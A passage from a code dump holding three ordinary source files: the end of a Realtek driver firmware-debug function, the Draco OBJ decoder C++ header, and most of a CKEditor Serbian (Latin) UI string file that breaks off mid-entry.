ODM_WIN)\t\n\tRT_DISP(FC2H, C2H_Summary, (\"[RTKFW, SEQ= %d] :\", Extend_c2hDbgSeq));\n\t#endif\t\n\n\tfor (; ; i++) {\n\t\tfw_debug_trace[i] = Extend_c2hDbgContent[i];\n\t\tif (Extend_c2hDbgContent[i + 1] == '\\0') {\n\t\t\tfw_debug_trace[i + 1] = '\\0';\n\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW DBG Msg] %s\", &(fw_debug_trace[0])));\n\t\t\tbreak;\n\t\t} else if (Extend_c2hDbgContent[i] == '\\n') {\n\t\t\tfw_debug_trace[i + 1] = '\\0';\n\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW DBG Msg] %s\", &(fw_debug_trace[0])));\n\t\t\tBuffer = Extend_c2hDbgContent + i + 3;\n\t\t\tgoto GoBackforAggreDbgPkt;\n\t\t}\n\t}\n\n\n#endif\n}\n\n\n"} {"text": "// Copyright 2016 The Draco Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\n#ifndef DRACO_IO_OBJ_DECODER_H_\n#define DRACO_IO_OBJ_DECODER_H_\n\n#include <string>\n#include <unordered_map>\n\n#include \"draco/draco_features.h\"\n\n#include \"draco/core/decoder_buffer.h\"\n#include \"draco/core/status.h\"\n#include \"draco/mesh/mesh.h\"\n\nnamespace draco {\n\n// Decodes a Wavefront OBJ file into draco::Mesh (or draco::PointCloud if the\n// connectivity data is not needed).. This decoder can handle decoding of\n// positions, texture coordinates, normals and triangular faces.\n// All other geometry properties are ignored.\nclass ObjDecoder {\n public:\n ObjDecoder();\n\n // Decodes an obj file stored in the input file.\n // Returns nullptr if the decoding failed.\n Status DecodeFromFile(const std::string &file_name, Mesh *out_mesh);\n Status DecodeFromFile(const std::string &file_name,\n PointCloud *out_point_cloud);\n\n Status DecodeFromBuffer(DecoderBuffer *buffer, Mesh *out_mesh);\n Status DecodeFromBuffer(DecoderBuffer *buffer, PointCloud *out_point_cloud);\n\n // Flag that can be used to turn on/off deduplication of input values.\n // This should be disabled only when we are sure that the input data does not\n // contain any duplicate entries.\n // Default: true\n void set_deduplicate_input_values(bool v) { deduplicate_input_values_ = v; }\n // Flag for whether using metadata to record other information in the obj\n // file, e.g. material names, object names.\n void set_use_metadata(bool flag) { use_metadata_ = flag; }\n\n protected:\n Status DecodeInternal();\n DecoderBuffer *buffer() { return &buffer_; }\n\n private:\n // Resets internal counters for attributes and faces.\n void ResetCounters();\n\n // Parses the next mesh property definition (position, tex coord, normal, or\n // face). If the parsed data is unrecognized, it will be skipped.\n // Returns false when the end of file was reached.\n bool ParseDefinition(Status *status);\n\n // Attempts to parse definition of position, normal, tex coord, or face\n // respectively.\n // Returns false when the parsed data didn't contain the given definition.\n bool ParseVertexPosition(Status *status);\n bool ParseNormal(Status *status);\n bool ParseTexCoord(Status *status);\n bool ParseFace(Status *status);\n bool ParseMaterialLib(Status *status);\n bool ParseMaterial(Status *status);\n bool ParseObject(Status *status);\n\n // Parses triplet of position, tex coords and normal indices.\n // Returns false on error.\n bool ParseVertexIndices(std::array<int32_t, 3> *out_indices);\n\n // Maps specified point index to the parsed vertex indices (triplet of\n // position, texture coordinate, and normal indices) .\n void MapPointToVertexIndices(PointIndex pi,\n const std::array<int32_t, 3> &indices);\n\n // Parses material file definitions from a separate file.\n bool ParseMaterialFile(const std::string &file_name, Status *status);\n bool ParseMaterialFileDefinition(Status *status);\n\n // If set to true, the parser will count the number of various definitions\n // but it will not parse the actual data or add any new entries to the mesh.\n bool counting_mode_;\n int num_obj_faces_;\n int num_positions_;\n int num_tex_coords_;\n int num_normals_;\n int num_materials_;\n int last_sub_obj_id_;\n\n int pos_att_id_;\n int tex_att_id_;\n int norm_att_id_;\n int material_att_id_;\n int sub_obj_att_id_; // Attribute id for storing sub-objects.\n\n bool deduplicate_input_values_;\n\n int last_material_id_;\n std::string material_file_name_;\n\n std::string input_file_name_;\n\n std::unordered_map<std::string, int> material_name_to_id_;\n std::unordered_map<std::string, int> obj_name_to_id_;\n\n bool use_metadata_;\n\n DecoderBuffer buffer_;\n\n // Data structure that stores the decoded data. |out_point_cloud_| must be\n // always set but |out_mesh_| is optional.\n Mesh *out_mesh_;\n PointCloud *out_point_cloud_;\n};\n\n} // namespace draco\n\n#endif // DRACO_IO_OBJ_DECODER_H_\n"} {"text": "/*\r\nCopyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.\r\nFor licensing, see LICENSE.html or http://ckeditor.com/license\r\n*/\r\n\r\n/**\r\n * @fileOverview Defines the {@link CKEDITOR.lang} object, for the\r\n * Serbian (Latin) language.\r\n */\r\n\r\n/**#@+\r\n @type String\r\n @example\r\n*/\r\n\r\n/**\r\n * Constains the dictionary of language entries.\r\n * @namespace\r\n */\r\nCKEDITOR.lang['sr-latn'] =\r\n{\r\n\t/**\r\n\t * The language reading direction. Possible values are \"rtl\" for\r\n\t * Right-To-Left languages (like Arabic) and \"ltr\" for Left-To-Right\r\n\t * languages (like English).\r\n\t * @default 'ltr'\r\n\t */\r\n\tdir : 'ltr',\r\n\r\n\t/*\r\n\t * Screenreader titles. Please note that screenreaders are not always capable\r\n\t * of reading non-English words. So be careful while translating it.\r\n\t */\r\n\teditorTitle : 'Rich text editor, %1, press ALT 0 for help.', // MISSING\r\n\r\n\t// ARIA descriptions.\r\n\ttoolbar\t: 'Toolbar', // MISSING\r\n\teditor\t: 'Rich Text Editor', // MISSING\r\n\r\n\t// Toolbar buttons without dialogs.\r\n\tsource\t\t\t: 'Kôd',\r\n\tnewPage\t\t\t: 'Nova stranica',\r\n\tsave\t\t\t: 'Sačuvaj',\r\n\tpreview\t\t\t: 'Izgled stranice',\r\n\tcut\t\t\t\t: 'Iseci',\r\n\tcopy\t\t\t: 'Kopiraj',\r\n\tpaste\t\t\t: 'Zalepi',\r\n\tprint\t\t\t: 'Štampa',\r\n\tunderline\t\t: 'Podvučeno',\r\n\tbold\t\t\t: 'Podebljano',\r\n\titalic\t\t\t: 'Kurziv',\r\n\tselectAll\t\t: 'Označi sve',\r\n\tremoveFormat\t: 'Ukloni formatiranje',\r\n\tstrike\t\t\t: 'Precrtano',\r\n\tsubscript\t\t: 'Indeks',\r\n\tsuperscript\t\t: 'Stepen',\r\n\thorizontalrule\t: 'Unesi horizontalnu liniju',\r\n\tpagebreak\t\t: 'Insert Page Break for Printing', // MISSING\r\n\tunlink\t\t\t: 'Ukloni link',\r\n\tundo\t\t\t: 'Poni�ti akciju',\r\n\tredo\t\t\t: 'Ponovi akciju',\r\n\r\n\t// Common messages and labels.\r\n\tcommon :\r\n\t{\r\n\t\tbrowseServer\t: 'Pretraži server',\r\n\t\turl\t\t\t\t: 'URL',\r\n\t\tprotocol\t\t: 'Protokol',\r\n\t\tupload\t\t\t: 'Pošalji',\r\n\t\tuploadSubmit\t: 'Pošalji na server',\r\n\t\timage\t\t\t: 'Slika',\r\n\t\tflash\t\t\t: 'Fleš',\r\n\t\tform\t\t\t: 'Forma',\r\n\t\tcheckbox\t\t: 'Polje za potvrdu',\r\n\t\tradio\t\t\t: 'Radio-dugme',\r\n\t\ttextField\t\t: 'Tekstualno polje',\r\n\t\ttextarea\t\t: 'Zona teksta',\r\n\t\thiddenField\t\t: 'Skriveno polje',\r\n\t\tbutton\t\t\t: 'Dugme',\r\n\t\tselect\t\t\t: 'Izborno polje',\r\n\t\timageButton\t\t: 'Dugme sa slikom',\r\n\t\tnotSet\t\t\t: '<nije postavljeno>',\r\n\t\tid\t\t\t\t: 'Id',\r\n\t\tname\t\t\t: 'Naziv',\r\n\t\tlangDir\t\t\t: 'Smer jezika',\r\n\t\tlangDirLtr\t\t: 'S leva na desno (LTR)',\r\n\t\tlangDirRtl\t\t: 'S desna na levo (RTL)',\r\n\t\tlangCode\t\t: 'Kôd jezika',\r\n\t\tlongDescr\t\t: 'Pun opis URL',\r\n\t\tcssClass\t\t: 'Stylesheet klase',\r\n\t\tadvisoryTitle\t: 'Advisory naslov',\r\n\t\tcssStyle\t\t: 'Stil',\r\n\t\tok\t\t\t\t: 'OK',\r\n\t\tcancel\t\t\t: 'Otkaži',\r\n\t\tclose\t\t\t: 'Close', // MISSING\r\n\t\tpreview\t\t\t: 'Preview', // MISSING\r\n\t\tgeneralTab\t\t: 'General', // MISSING\r\n\t\tadvancedTab\t\t: 'Napredni tagovi',\r\n\t\tvalidateNumberFailed : 'This value is not a number.', // MISSING\r\n\t\tconfirmNewPage\t: 'Any unsaved changes to this content will be lost. Are you sure you want to load new page?', // MISSING\r\n\t\tconfirmCancel\t: 'Some of the options have been changed. Are you sure to close the dialog?', // MISSING\r\n\t\toptions\t\t\t: 'Options', // MISSING\r\n\t\ttarget\t\t\t: 'Target', // MISSING\r\n\t\ttargetNew\t\t: 'New Window (_blank)', // MISSING\r\n\t\ttargetTop\t\t: 'Topmost Window (_top)', // MISSING\r\n\t\ttargetSelf\t\t: 'Same Window (_self)', // MISSING\r\n\t\ttargetParent\t: 'Parent Window (_parent)', // MISSING\r\n\r\n\t\t// Put the voice-only part of the label in the span.\r\n\t\tunavailable\t\t: '%1<span class=\"cke_accessibility\">, unavailable</span>' // MISSING\r\n\t},\r\n\r\n\tcontextmenu :\r\n\t{\r\n\t\toptions : 'Context Menu Options' // MISSING\r\n\t},\r\n\r\n\t// Special char dialog.\r\n\tspecialChar\t\t:\r\n\t{\r\n\t\ttoolbar\t\t: 'Unesi specijalni karakter',\r\n\t\ttitle\t\t: 'Odaberite specijalni karakter',\r\n\t\toptions : 'Special Character Options' // MISSING\r\n\t},\r\n\r\n\t// Link dialog.\r\n\tlink :\r\n\t{\r\n\t\ttoolbar\t\t: 'Unesi/izmeni link',\r\n\t\tother \t\t: '<остало>',\r\n\t\tmenu\t\t: 'Izmeni link',\r\n\t\ttitle\t\t: 'Link',\r\n\t\tinfo\t\t: 'Link Info',\r\n\t\ttarget\t\t: 'Meta',\r\n\t\tupload\t\t: 'Pošalji',\r\n\t\tadvanced\t: 'Napredni tagovi',\r\n\t\ttype\t\t: 'Vrsta linka',\r\n\t\ttoUrl\t\t: 'URL', // MISSING\r\n\t\ttoAnchor\t: 'Sidro na ovoj stranici',\r\n\t\ttoEmail\t\t: 'E-Mail',\r\n\t\ttargetFrame\t\t: '<okvir>',\r\n\t\ttargetPopup\t\t: '<popup prozor>',\r\n\t\ttargetFrameName\t: 'Naziv odredišnog frejma',\r\n\t\ttargetPopupName\t: 'Naziv popup prozora',\r\n\t\tpopupFeatures\t: 'Mogućnosti popup prozora',\r\n\t\tpopupResizable\t: 'Resizable', // MISSING\r\n\t\tpopupStatusBar\t: 'Statusna linija',\r\n\t\tpopupLocationBar: 'Lokacija',\r\n\t\tpopupToolbar\t: 'Toolbar',\r\n\t\tpopupMenuBar\t: 'Kontekstni meni',\r\n\t\tpopupFullScreen\t: 'Prikaz preko celog ekrana (IE)',\r\n\t\tpopupScrollBars\t: 'Scroll bar',\r\n\t\tpopupDependent\t: 'Zavisno (Netscape)',\r\n\t\tpopupWidth\t\t: 'Širina',\r\n\t\tpopupLeft\t\t: 'Od leve ivice ekrana (px)',\r\n\t\tpopupHeight\t\t: 'Visina',\r\n\t\tpopupTop\t\t: 'Od vrha ekrana (px)',\r\n\t\tid\t\t\t\t: 'Id', // MISSING\r\n\t\tlangDir\t\t\t: 'Smer jezika',\r\n\t\tlangDirLTR\t\t: 'S leva na desno (LTR)',\r\n\t\tlangDirRTL\t\t: 'S desna na levo (RTL)',\r\n\t\tacccessKey\t\t: 'Pristupni taster',\r\n\t\tname\t\t\t: 'Naziv',\r\n\t\tlangCode\t\t: 'Smer jezika',\r\n\t\ttabIndex\t\t: 'Tab indeks',\r\n\t\tadvisoryTitle\t: 'Advisory naslov',\r\n\t\tadvisoryContentType\t: 'Advisory vrsta sadržaja',\r\n\t\tcssClasses\t\t: 'Stylesheet klase',\r\n\t\tcharset\t\t\t: 'Linked Resource Charset',\r\n\t\tstyles\t\t\t: 'Stil',\r\n\t\tselectAnchor\t: 'Odaberi sidro',\r\n\t\tanchorName\t\t: 'Po nazivu sidra',\r\n\t\tanchorId\t\t: 'Po Id-ju elementa',\r\n\t\temailAddress\t: 'E-Mail adresa',\r\n\t\temailSubject\t: 'Naslov',\r\n\t\temailBody\t\t: 'Sadržaj poruke',\r\n\t\tnoAnchors\t\t: '(Nema dostupnih sidra)',\r\n\t\tnoUrl\t\t\t: 'Unesite URL linka',\r\n\t\tnoEmail\t\t\t: 'Otkucajte adresu elektronske pote'\r\n\t},\r\n\r\n\t// Anchor dialog\r\n\tanchor :\r\n\t{\r\n\t\ttoolbar\t\t: 'Unesi/izmeni sidro',\r\n\t\tmenu\t\t: 'Osobine sidra',\r\n\t\ttitle\t\t: 'Osobine sidra',\r\n\t\tname\t\t: 'Ime sidra',\r\n\t\terrorName\t: 'Unesite ime sidra'\r\n\t},\r\n\r\n\t// Find And Replace Dialog\r\n\tfindAndReplace :\r\n\t{\r\n\t\ttitle\t\t\t\t: 'Find and Replace', // MISSING\r\n\t\tfind\t\t\t\t: 'Pretraga',\r\n\t\treplace\t\t\t\t: 'Zamena',\r\n\t\tfindWhat\t\t\t: 'Pronadi:',\r\n\t\treplaceWith\t\t\t: 'Zameni sa:',\r\n\t\tnotFoundMsg\t\t\t: 'Traženi tekst nije pronađen.',\r\n\t\tmatchCase\t\t\t: 'Razlikuj mala i velika slova',\r\n\t\tmatchWord\t\t\t: 'Uporedi cele reci',\r\n\t\tmatchCyclic\t\t\t: 'Match cyclic', // MISSING\r\n\t\treplaceAll\t\t\t: 'Zameni sve',\r\n\t\treplaceSuccessMsg\t: '%1 occurrence(s) replaced.' // MISSING\r\n\t},\r\n\r\n\t// Table Dialog\r\n\ttable :\r\n\t{\r\n\t\ttoolbar\t\t: 'Tabela',\r\n\t\ttitle\t\t: 'Osobine tabele',\r\n\t\tmenu\t\t: 'Osobine tabele',\r\n\t\tdeleteTable\t: 'Delete Table', // MISSING\r\n\t\trows\t\t: 'Redova',\r\n\t\tcolumns\t\t: 'Kolona',\r\n\t\tborder\t\t: 'Veličina okvira',\r\n\t\talign\t\t: 'Ravnanje',\r\n\t\talignLeft\t: 'Levo',\r\n\t\talignCenter\t: 'Sredina',\r\n\t\talignRight\t: 'Desno',\r\n\t\twidth\t\t: 'Širina',\r\n\t\twidthPx\t\t: 'piksela',\r\n\t\twidthPc\t\t: 'procenata',\r\n\t\twidthUnit\t: 'width unit', // MISSING\r\n\t\theight\t\t: 'Visina',\r\n\t\tcellSpace\t: 'Ćelijski prostor',\r\n\t\tcellPad\t\t: 'Razmak ćelija',\r\n\t\tcaption\t\t: 'Naslov tabele',\r\n\t\tsummary\t\t: 'Summary', // MISSING\r\n\t\theaders\t\t: 'Headers', // MISSING\r\n\t\theadersNone\t\t: 'None', // MISSING\r\n\t\theadersColumn\t: 'First column', // MISSING\r\n\t\theadersRow\t\t: 'First Row', // MISSING\r\n\t\theadersBoth\t\t: 'Both', // MISSING\r\n\t\tinvalidRows\t\t: 'Number of rows must be a number greater than 0.', // MISSING\r\n\t\tinvalidCols\t\t: 'Number of columns must be a number greater than 0.', // MISSING\r\n\t\tinvalidBorder\t: 'Border size must be a number.', // MISSING\r\n\t\tinvalidWidth\t: 'Table width must be a number.', // MISSING\r\n\t\tinvalidHeight\t: 'Table height must be a number.', // MISSING\r\n\t\tinvalidCellSpacing\t: 'Cell spacing must be a number.', // MISSING\r\n\t\tinvalidCellPadding\t: 'Cell padding must be a number.', // MISSING\r\n\r\n\t\tcell :\r\n\t\t{\r\n\t\t\tmenu\t\t\t: 'Cell', // MISSING\r\n\t\t\tinsertBefore\t: 'Insert Cell Before', // MISSING\r\n\t\t\tinsertAfter\t\t: 'Insert Cell After', // MISSING\r\n\t\t\tdeleteCell\t\t: 'Obriši ćelije',\r\n\t\t\tmerge\t\t\t: 'Spoj celije',\r\n\t\t\tmergeRight\t\t: 'Merge Right', // MISSING\r\n\t\t\tmergeDown\t\t: 'Merge Down', // MISSING\r\n\t\t\tsplitHorizontal\t: 'Split Cell Horizontally', // MISSING\r\n\t\t\tsplitVertical\t: 'Split Cell Vertically', // MISSING\r\n\t\t\ttitle\t\t\t: 'Cell Properties', // MISSING\r\n\t\t\tcellType\t\t: 'Cell Type', // MISSING\r\n\t\t\trowSpan\t\t\t: 'Rows Span', // MISSING\r\n\t\t\tcolSpan\t\t\t: 'Columns Span', // MISSING\r\n\t\t\twordWrap\t\t: 'Word Wrap', // MISSING\r\n\t\t\thAlign\t\t\t: 'Horizontal Alignment', // MISSING\r\n\t\t\tvAlign\t\t\t: 'Vertical Alignment', // MISSING\r\n\t\t\talignTop\t\t: 'Top', // MISSING\r\n\t\t\talignMiddle\t\t: 'Middle', // MISSING\r\n\t\t\talignBottom\t\t: 'Bottom', // MISSING\r\n\t\t\talignBaseline\t: 'Baseline', // MISSING\r\n\t\t\tbgColor\t\t\t: 'Background Color', // MISSING\r\n\t\t\tborderColor\t\t: 'Border Color', // MISSING\r\n\t\t\tdata\t\t\t: 'Data', // MISSING\r\n\t\t\theader\t\t\t: 'Header', // MISSING\r\n\t\t\tyes\t\t\t\t: 'Yes', // MISSING\r\n\t\t\tno\t\t\t\t: 'No', // MISSING\r\n\t\t\tinvalidWidth\t: 'Cell width must be a number.', // MISSING\r\n\t\t\tinvalidHeight\t: 'Cell height must be a number.', // MISSING\r\n\t\t\tinvalidRowSpan\t: 'Rows span must be a whole number.', // MISSING\r\n\t\t\tinvalidColSpan\t: 'Columns span must be a whole number.', // MISSING\r\n\t\t\tchooseColor\t\t: 'Choose' // MISSING\r\n\t\t},\r\n\r\n\t\trow :\r\n\t\t{\r\n\t\t\tmenu\t\t\t: 'Row', // MISSING\r\n\t\t\tinsertBefore\t: 'Insert Row Before', // MISSING\r\n\t\t\tinsertAfter\t\t: 'Insert Row After', // MISSING\r\n\t\t\tdeleteRow\t\t: 'Obriši redove'\r\n\t\t},\r\n\r\n\t\tcolumn :\r\n\t\t{\r\n\t\t\tmenu\t\t\t: 'Column', // MISSING\r\n\t\t\tinsertBefore\t: 'Insert Column Before', // MISSING\r\n\t\t\tinsertAfter\t\t: 'Insert Column After', // MISSING\r\n\t\t\tdeleteColumn\t: 'Obriši kolone'\r\n\t\t}\r\n\t},\r\n\r\n\t// Button Dialog.\r\n\tbutton :\r\n\t{\r\n\t\ttitle\t\t: 'Osobine dugmeta',\r\n\t\ttext\t\t: 'Tekst (vrednost)',\r\n\t\ttype\t\t: 'Tip',\r\n\t\ttypeBtn\t\t: 'Button', // MISSING\r\n\t\ttypeSbm\t\t: 'Submit', // MISSING\r\n\t\ttypeRst\t\t: 'Reset' // MISSING\r\n\t},\r\n\r\n\t// Checkbox and Radio Button Dialogs.\r\n\tcheckboxAndRadio :\r\n\t{\r\n\t\tcheckboxTitle : 'Osobine polja za potvrdu',\r\n\t\tradioTitle\t: 'Osobine radio-dugmeta',\r\n\t\tvalue\t\t: 'Vrednost',\r\n\t\tselected\t: 'Označeno'\r\n\t},\r\n\r\n\t// Form Dialog.\r\n\tform :\r\n\t{\r\n\t\ttitle\t\t: 'Osobine forme',\r\n\t\tmenu\t\t: 'Osobine forme',\r\n\t\taction\t\t: 'Akcija',\r\n\t\tmethod\t\t: 'Metoda',\r\n\t\tencoding\t: 'Encoding' // MISSING\r\n\t},\r\n\r\n\t// Select Field Dialog.\r\n\tselect :\r\n\t{\r\n\t\ttitle\t\t: 'Osobine izbornog polja',\r\n\t\tselectInfo\t: 'Info',\r\n\t\topAvail\t\t: 'Dostupne opcije',\r\n\t\tvalue\t\t: 'Vrednost',\r\n\t\tsize\t\t: 'Veličina',\r\n\t\tlines\t\t: 'linija',\r\n\t\tchkMulti\t: 'Dozvoli višestruku selekciju',\r\n\t\topText\t\t: 'Tekst',\r\n\t\topValue\t\t: 'Vrednost',\r\n\t\tbtnAdd\t\t: 'Dodaj',\r\n\t\tbtnModify\t: 'Izmeni',\r\n\t\tbtnUp\t\t: 'Gore',\r\n\t\tbtnDown\t\t: 'Dole',\r\n\t\tbtnSetValue : 'Podesi kao označenu vrednost',\r\n\t\tbtnDelete\t: 'Obriši'\r\n\t},\r\n\r\n\t// Textarea Dialog.\r\n\ttextarea :\r\n\t{\r\n\t\ttitle\t\t: 'Osobine zone teksta',\r\n\t\tcols\t\t: 'Broj kolona',\r\n\t\trows\t\t: 'Broj redova'\r\n\t},\r\n\r\n\t// Text Field Dialog.\r\n\ttextfield :\r\n\t{\r\n\t\ttitle\t\t: 'Osobine tekstualnog polja',\r\n\t\tname\t\t: 'Naziv',\r\n\t\tvalue\t\t: 'Vrednost',\r\n\t\tcharWidth\t: 'Širina (karaktera)',\r\n\t\tmaxChars\t: 'Maksimalno karaktera',\r\n\t\ttype\t\t: 'Tip',\r\n\t\ttypeText\t: 'Tekst',\r\n\t\ttypePass\t: 'Lozinka'\r\n\t},\r\n\r\n\t// Hidden Field Dialog.\r\n\thidden :\r\n\t{\r\n\t\ttitle\t: 'Osobine skrivenog polja',\r\n\t\tname\t: 'Naziv',\r\n\t\tvalue\t: 'Vrednost'\r\n\t},\r\n\r\n\t// Image Dialog.\r\n\timage :\r\n\t{\r\n\t\ttitle\t\t: 'Osobine slika',\r\n\t\ttitleButton\t: 'Osobine dugmeta sa slikom',\r\n\t\tmenu\t\t: 'Osobine slika',\r\n\t\tinfoTab\t\t: 'Info slike',\r\n\t\tbtnUpload\t: 'Pošalji na server',\r\n\t\tupload\t\t: 'Pošalji',\r\n\t\talt\t\t\t: 'Alternativni tekst',\r\n\t\twidth\t\t: 'Širina',\r\n\t\theight\t\t: 'Visina',\r\n\t\tlockRatio\t: 'Zaključaj odnos',\r\n\t\tunlockRatio\t: 'Unlock Ratio', // MISSING\r\n\t\tresetSize\t: 'Resetuj veličinu',\r\n\t\tborder\t\t: 'Okvir',\r\n\t\thSpace\t\t: 'HSpace',\r\n\t\tvSpace\t\t: 'VSpace',\r\n\t\talign\t\t: 'Ravnanje',\r\n\t\talignLeft\t: 'Levo',\r\n\t\talignRight\t: 'Desno',\r\n\t\talertUrl\t: 'Unesite URL slike',\r\n\t\tlinkTab\t\t: 'Link',\r\n\t\tbutton2Img\t: 'Do you want to transform the selected image button on a simple image?', // MISSING\r\n\t\timg2Button\t: 'Do you want to transform the selected image on a image button?', // MISSING\r\n\t\turlMissing\t: 'Image source URL is missing.', // MISSING\r\n\t\tvalidateWidth\t: 'Width must be a whole number.', // MISSING\r\n\t\tvalidateHeight\t: 'Height must be a whole number.', // MISSING\r\n\t\tvalidateBorder\t: 'Border must be a whole number.', // MISSING\r\n\t\tvalidateHSpace\t: 'HSpace must be a whole number.', // MISSING\r\n\t\tvalidateVSpace\t: 'VSpace must be a whole number.' // MISSING\r\n\t},\r\n\r\n\t// Flash Dialog\r\n\tflash :\r\n\t{\r\n\t\tproperties\t\t: 'Osobine fleša',\r\n\t\tpropertiesTab\t: 'Properties', // MISSING\r\n\t\ttitle\t\t\t: 'Osobine fleša',\r\n\t\tchkPlay\t\t\t: 'Automatski start',\r\n\t\tchkLoop\t\t\t: 'Ponavljaj',\r\n\t\tchkMenu\t\t\t: 'Uključi fleš meni',\r\n\t\tchkFull\t\t\t: 'Allow Fullscreen', // MISSING\r\n \t\tscale\t\t\t: 'Skaliraj',\r\n\t\tscaleAll\t\t: 'Prikaži sve',\r\n\t\tscaleNoBorder\t: 'Bez ivice',\r\n\t\tscaleFit\t\t: 'Popuni površinu',\r\n\t\taccess\t\t\t: 'Script Access', // MISSING\r\n\t\taccessAlways\t: 'Always', // MISSING\r\n\t\taccessSameDomain: 'Same domain', // MISSING\r\n\t\taccessNever\t\t: 'Never', // MISSING\r\n\t\talign\t\t\t: 'Ravnanje',\r\n\t\talignLeft\t\t: 'Levo',\r\n\t\talignAbsBottom\t: 'Abs dole',\r\n\t\talignAbsMiddle\t: 'Abs sredina',\r\n\t\talignBaseline\t: 'Bazno',\r\n\t\talignBottom\t\t: 'Dole',\r\n\t\talignMiddle\t\t: 'Sredina',\r\n\t\talignRight\t\t: 'Desno',\r\n\t\talignTextTop\t: 'Vrh teksta',\r\n\t\talignTop\t\t: 'Vrh',\r\n\t\tquality\t\t\t: 'Quality', // MISSING\r\n\t\tqualityBest\t\t: 'Best', // MISSING\r\n\t\tqualityHigh\t\t: 'High', // MISSING\r\n\t\tqualityAutoHigh\t: 'Auto High', // MISSING\r\n\t\tqualityMedium\t: 'Medium', // MISSING\r\n\t\tqualityAutoLow\t: 'Auto Low', // MISSING\r\n\t\tqualityLow\t\t: 'Low', // MISSING\r\n\t\twindowModeWindow: 'Window', // MISSING\r\n\t\twindowModeOpaque: 'Opaque', // MISSING\r\n\t\twindowModeTransparent : 'Transparent', // MISSING\r\n\t\twindowMode\t\t: 'Window mode', // MISSING\r\n\t\tflashvars\t\t: 'Variables for Flash', // MISSING\r\n\t\tbgcolor\t\t\t: 'Boja pozadine',\r\n\t\twidth\t\t\t: 'Širina',\r\n\t\theight\t\t\t: 'Visina',\r\n\t\thSpace\t\t\t: 'HSpace',\r\n\t\tvSpace\t\t\t: 'VSpace',\r\n\t\tvalidateSrc\t\t: 'Unesite URL linka',\r\n\t\tvalidateWidth\t: 'Width must be a number.', // MISSING\r\n\t\tvalidateHeight\t: 'Height must be a number.', // MISSING\r\n\t\tvalidateHSpace\t: 'HSpace must be a number.', // MISSING\r\n\t\tvalidateVSpace\t: 'VSpace must be a number.' // MISSING\r\n\t},\r\n\r\n\t// Speller Pages Dialog\r\n\tspellCheck :\r\n\t{\r\n\t\ttoolbar\t\t\t: 'Proveri spelovanje',\r\n\t\ttitle\t\t\t: 'Spell Check', // MISSING\r\n\t\tnotAvailable\t: 'Sorry, but service is unavailable now.', // MISSING\r\n\t\terrorLoading\t: 'Error loading application service host: %s.', // MISSING\r\n\t\tnotInDic\t\t: 'Nije u rečniku',\r\n\t\tchangeTo\t\t: 'Izmeni',\r\n\t\tbtnIgnore\t\t: 'Ignoriši',\r\n\t\tbtnIgnoreAll\t: 'Ignoriši sve',\r\n\t\tbtnReplace\t\t: 'Zameni',\r\n\t\tbtnReplaceAll\t: 'Zameni sve',\r\n\t\tbtnUndo\t\t\t: 'Vrati akciju',\r\n\t\tnoSuggestions\t: '- Bez sugestija -',\r\n\t\tprogress\t\t: 'Provera spelovanja u toku...',\r\n\t\tnoMispell\t\t: 'Provera spelovanja završena: greške nisu pronadene',\r\n\t\tnoChanges\t\t: 'Provera spelovanja završena: Nije izmenjena nijedna rec',\r\n\t\toneChange\t\t: 'Provera spelovanja završena: Izmenjena je jedna reč',\r\n\t\tmanyChanges\t\t: 'Provera spelovanja završena: %1 reč(i) je izmenjeno',\r\n\t\tieSpellDownload\t: 'Provera spelovanja nije instalirana. Da li želite da je skinete sa Interneta?'\r\n\t},\r\n\r\n\tsmiley :\r\n\t{\r\n\t\ttoolbar\t: 'Smajli',\r\n\t\ttitle\t: 'Unesi smajlija',\r\n\t\toptions : 'Smiley Options' // MISSING\r\n\t},\r\n\r\n\telementsPath :\r\n\t{\r\n\t\teleLabel : 'Elements path', // MISSING\r\n\t\teleTitle : '%1 element' // MISSING\r\n\t},\r\n\r\n\tnumberedlist\t: 'Nabrojiva lista',\r\n\tbulletedlist\t: 'Nenabrojiva lista',\r\n\tindent\t\t\t: 'Uvećaj levu marginu',\r\n\toutdent\t\t\t: 'Smanji levu marginu',\r\n\r\n\tjustify :\r\n\t{\r\n\t\tleft\t: 'Levo ravnanje',\r\n\t\tcenter\t: 'Centriran tekst',\r\n\t\tright\t: 'Desno ravnanje',\r\n\t\tblock\t: 'Obostrano ravnanje'\r\n\t},\r\n\r\n\tblockquote : 'Block Quote', // MISSING\r\n\r\n\tclipboard :\r\n\t{\r\n\t\ttitle\t\t: 'Zalepi',\r\n\t\tcutError\t: 'Sigurnosna podešavanja Vašeg pretraživača ne dozvoljavaju operacije automatskog isecanja teksta. Molimo Vas da koristite prečicu sa tastature (Ctrl/Cmd+X).',\r\n\t\tcopyError\t: 'Sigurnosna podešavanja Vašeg pretraživača ne dozvoljavaju operacije automatskog kopiranja teksta. Molimo Vas da koristite prečicu sa tastature (Ctrl/Cmd+C).',\r\n\t\tpasteMsg\t: 'Molimo Vas da zalepite unutar donje povrine koristeći tastaturnu prečicu (<STRONG>Ctrl/Cmd+V</STRONG>) i da pritisnete <STRONG>OK</STRONG>.',\r\n\t\tsecurityMsg\t: 'Because of your browser security settings, the editor is not able to access your clipboard data directly. You are required to paste it again in this window.', // MISSING\r\n\t\tpasteArea\t: 'Paste Area' // MISSING\r\n\t},\r\n\r\n\tpastefromword :\r\n\t{\r\n\t\tconfirmCleanup\t: 'The text you want to paste seems to be copied from Word. Do you want to clean it before pasting?', // MISSING\r\n\t\ttoolbar\t\t\t: 'Zalepi iz Worda',\r\n\t\ttitle\t\t\t: 'Zalepi iz Worda',\r\n\t\terror\t\t\t: 'It was not possible to clean up the pasted data due to an internal error' // MISSING\r\n\t},\r\n\r\n\tpasteText :\r\n\t{\r\n\t\tbutton\t: 'Zalepi kao čist tekst',\r\n\t\ttitle\t: 'Zalepi kao čist tekst'\r\n\t},\r\n\r\n\ttemplates :\r\n\t{\r\n\t\tbutton\t\t\t: 'Obrasci',\r\n\t\ttitle\t\t\t: 